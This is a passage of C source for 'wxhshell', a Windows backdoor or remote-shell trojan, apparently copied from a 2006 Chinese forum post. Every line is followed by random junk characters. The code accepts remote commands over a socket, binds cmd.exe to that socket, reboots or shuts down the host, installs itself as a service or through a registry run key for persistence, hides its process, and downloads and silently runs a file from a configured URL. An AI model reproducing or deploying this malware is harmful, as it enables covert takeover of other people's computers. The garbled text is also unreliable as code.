    switch(cmd[0]) { aZbw]0q@o  
  BL&LeSa  
  // 帮助 imiR/V>N  
  case '?': { }jill+]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oPPX&e@=s]  
    break; vzmc}y G  
  } QNDHOo>v  
  // 安装 S8e{K  
  case 'i': { Ks}Xgc\  
    if(Install()) s=[h?kB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 10H)^p%3+  
    else 7.`fJf?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v;)..X30  
    break; `]W| 8M  
    } H *)NLp  
  // 卸载 J_;o|gqX  
  case 'r': { )P+7PhE{J  
    if(Uninstall()) C 9t4#"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s;A@*Y;v  
    else Ng_!zrx04  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rvw)-=qR[  
    break; 0L/n?bf  
    } p3 ^ m9J  
  // 显示 wxhshell 所在路径 )-. _FOZ6  
  case 'p': { ^ (FdXGs[  
    char svExeFile[MAX_PATH]; 5s]. @C8  
    strcpy(svExeFile,"\n\r"); G nG>7f[v  
      strcat(svExeFile,ExeFile); Nal9M[]c  
        send(wsh,svExeFile,strlen(svExeFile),0); *Em,*!  
    break; ,l)^Ft`5  
    } ?[ lV-  
  // 重启 &e!7Z40w@&  
  case 'b': { bR)(H%I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bf8jPa/  
    if(Boot(REBOOT)) ruld B,n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $\U 4hHOo  
    else { c(~[$)i6  
    closesocket(wsh); gp\<p-}  
    ExitThread(0); b"{'T]"*j  
    } ;N?]eM}yf  
    break; !/]WrGqbS  
    } io8'g3<  
  // 关机 "9Q40w\  
  case 'd': { ,]d /Q<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jh!I:;/  
    if(Boot(SHUTDOWN)) P&^;656r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m3/O.DY%0  
    else { %#xaA'? [  
    closesocket(wsh); |}di&y@-JI  
    ExitThread(0); z?*w8kU&>  
    }  abfW[J  
    break; )x=1]T>v"'  
    } |#cm`v  
  // 获取shell &keR~~/  
  case 's': { U!*M*s  
    CmdShell(wsh); .7avpOfz  
    closesocket(wsh);  jYmR  
    ExitThread(0); aGtf z)  
    break; '9 [vDG~  
  } +b3RkkC  
  // 退出 TU,s*D&e  
  case 'x': { @] DVD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pUQ/03dp  
    CloseIt(wsh); O @j} K4  
    break; PIoLywpRn  
    } deV  8  
  // 离开 %Q fO8P  
  case 'q': { (mTE;s(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `tA" }1;ka  
    closesocket(wsh); 1VG4S){}\9  
    WSACleanup(); c|B.n]Z  
    exit(1); :*Z4yx  
    break; V)~.~2$  
        } V k  K  
  } O7-mT8o  
  } CUBEW~X}M  
.ps-4eXF  
  // 提示信息 !Sh&3uy_qN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Eg#K.5hJ  
} irFMmIb  
  } ~=6xyc/c  
[B#R94  
  return; Vt %bI0#  
} ~962i#&4  
bnq; )>&  
// shell模块句柄 F;4vPbH+  
int CmdShell(SOCKET sock) k;AD`7(=  
{ ;g5m0l5  
STARTUPINFO si; RKHyw 08  
ZeroMemory(&si,sizeof(si)); 6}[I2F_^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lsq A**=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y)0*b5?1r  
PROCESS_INFORMATION ProcessInfo; 5cL83FQh  
char cmdline[]="cmd"; LrM=*R h,O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _~IR6dKE  
  return 0; 9ifDcYl  
} rb5~XnJk  
sJ;g$TB  
// 自身启动模式 ); !eow  
int StartFromService(void) `#F{Waww'  
{ [R(`W#W  
typedef struct ]HKQDc'  
{ :mh_G  
  DWORD ExitStatus; z1PBMSG  
  DWORD PebBaseAddress; ]qethaNy  
  DWORD AffinityMask; >kj`7GA  
  DWORD BasePriority; Zd^rNHhA  
  ULONG UniqueProcessId; 5{|7$VqPF  
  ULONG InheritedFromUniqueProcessId; BZ94NOOdw  
}   PROCESS_BASIC_INFORMATION; :~b3^xhc^  
[;4 g  
PROCNTQSIP NtQueryInformationProcess; jSD#X3qp  
B:b5UD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3KR d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y>|B;Kj0(  
*xx'@e|<;  
  HANDLE             hProcess; *g:4e3Iy  
  PROCESS_BASIC_INFORMATION pbi; kw >v:F<M  
dsb`xw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3 R=,1<  
  if(NULL == hInst ) return 0; 3EV;LH L  
wxR,OR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -V-RP;">  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 04LI]'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7]U"Z*  
aGrIQq/k)%  
  if (!NtQueryInformationProcess) return 0; oI0M%/aM  
*;l]8.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &vo--V1|  
  if(!hProcess) return 0; iqC|G/  
:8L8q<U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; opY@RJ]  
\l'm[jy>  
  CloseHandle(hProcess); fV &KM*W*@  
=}lh_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R?GDJ3  
if(hProcess==NULL) return 0; Pj#<K%Bz  
5QW=&zI`=  
HMODULE hMod; \a5U8shc  
char procName[255]; ~xA-V4.  
unsigned long cbNeeded; <>dT64R|  
-|J"s$yO4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bV(Y`g  
T m_bz&Q  
  CloseHandle(hProcess); *S]Ci\{_  
VvvRRP^q  
if(strstr(procName,"services")) return 1; // 以服务启动 UR%/MV  
gwOa$f%O  
  return 0; // 注册表启动 cGtO +DE  
} "oTHq]Ku  
33o9Yg|J~  
// 主模块 p6 ]7&{>  
int StartWxhshell(LPSTR lpCmdLine) =+/eLKG  
{ 'z0:Ccbj  
  SOCKET wsl; :V1W/c  
BOOL val=TRUE; vX{J' H]u  
  int port=0; Uo-)pFN^  
  struct sockaddr_in door; O;z,qo X  
_4rFEYz$d  
  if(wscfg.ws_autoins) Install(); qS403+Su1=  
FemC Lvu  
port=atoi(lpCmdLine); I, -hf=-  
@E^~$-J5j  
if(port<=0) port=wscfg.ws_port; o]+z)5zC  
4zASMu  
  WSADATA data; *'OxAfa#x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u}>#Eb  
" W!M[qBW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fgkajig  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1LqoF{S:  
  door.sin_family = AF_INET; ~Fe${2   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~res V  
  door.sin_port = htons(port); |M>eEE*F<  
`k=bL"T>\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S\''e`Eb"5  
closesocket(wsl); dA-2%uJ  
return 1; I[=j&rK`  
} |>27'#JC  
YCdS!&^UN  
  if(listen(wsl,2) == INVALID_SOCKET) { CEXyrs<  
closesocket(wsl); /,1D)0  
return 1; M8INk,si  
} oE<`VY|  
  Wxhshell(wsl); tna .52*/  
  WSACleanup(); W!%]_I!&K  
ICuF %  
return 0; wi hH?~]  
So{x]x:f  
} 6S\C}U/   
+)kb(  
// 以NT服务方式启动 5 elw~u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7x#Ckep:I  
{ ,RE\$~`w  
DWORD   status = 0; /nyUG^5#{  
  DWORD   specificError = 0xfffffff; UV5Ie!\nm  
ykv94i?Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VK}fsOnj0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  i7]4W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,pqGX3  
  serviceStatus.dwWin32ExitCode     = 0; kV?y0J.  
  serviceStatus.dwServiceSpecificExitCode = 0; c05TsMF&O  
  serviceStatus.dwCheckPoint       = 0; Q&MZN);.  
  serviceStatus.dwWaitHint       = 0; +hvO^?4j  
pV.Av  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~ }F{vm  
  if (hServiceStatusHandle==0) return; KQacoUHrK?  
y(Y!?X I  
status = GetLastError(); 8'~[pMn`  
  if (status!=NO_ERROR) 6Pnk5ps }h  
{ !g Z67  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }~#pEX~j*  
    serviceStatus.dwCheckPoint       = 0; MG[o%I96  
    serviceStatus.dwWaitHint       = 0; 1v,Us5s<"6  
    serviceStatus.dwWin32ExitCode     = status; }Mo=PWI1?  
    serviceStatus.dwServiceSpecificExitCode = specificError; r~N"ere26  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !xP8# |1  
    return; ld3-C55  
  } $SM# < @  
m0LTx\w!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RMd[Yr2e  
  serviceStatus.dwCheckPoint       = 0; XD|E=s  
  serviceStatus.dwWaitHint       = 0; f>aEkh6u9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wi[~fI8^!  
} hfnN@Kg?B}  
!lEY=1nHOJ  
// 处理NT服务事件,比如:启动、停止 .7i` (F)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )_mr! z(S  
{ U"q/rcA  
switch(fdwControl) 3= xhoRX  
{ /GIxR6i  
case SERVICE_CONTROL_STOP: CLeG<Hi ~  
  serviceStatus.dwWin32ExitCode = 0;  -QOw8vm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QA2borfy  
  serviceStatus.dwCheckPoint   = 0; _{R=B8Zz\  
  serviceStatus.dwWaitHint     = 0; &C_' p{G  
  { A]YV s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (7XCA,KTGI  
  } Y]{ >^`G  
  return; Z-E`>  
case SERVICE_CONTROL_PAUSE: NG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {Z3dF)>  
  break; {.Z}5K  
case SERVICE_CONTROL_CONTINUE: z |a sa*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9so6WIWc  
  break; FL(6?8zK  
case SERVICE_CONTROL_INTERROGATE: q-]`CW]n  
  break; ?_"+^R z  
}; 58%#DX34M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uHAT#\m:  
} Jd5:{{ Lb  
0KMctPT]p  
// 标准应用程序主函数 H|R T?Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {]E+~%Va  
{ T/^Hz4uA7  
/%0<p,T  
// 获取操作系统版本 ZKQG:M~|  
OsIsNt=GetOsVer(); `}BF${vF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *Ho/ZYj3  
SV v;q?jZ  
  // 从命令行安装 {?J/c{=/P  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0A,]$Fzt  
}?z@rt^  
  // 下载执行文件 Nluv/?<  
if(wscfg.ws_downexe) { DyeQJ7p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1Ab>4UhD  
  WinExec(wscfg.ws_filenam,SW_HIDE); oqLfesV~  
} ,0E{h}(  
|N}P(GF  
if(!OsIsNt) { 5B&;uY  
// 如果时win9x,隐藏进程并且设置为注册表启动 *xON W  
HideProc(); %]I ZLJ  
StartWxhshell(lpCmdLine); bYi`R)  
} IkrF/$r  
else \3'9Uz,OC  
  if(StartFromService()) H ,+? t  
  // 以服务方式启动 &}?$i7x5  
  StartServiceCtrlDispatcher(DispatchTable); c)A{p  
else ]J:1P`k.  
  // 普通方式启动 INkD=tX  
  StartWxhshell(lpCmdLine); {dL?rQ>5L  
n>A98NQ  
return 0;  )$`wIp  
}
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只看该作者 1 发表于: 2006-10-10
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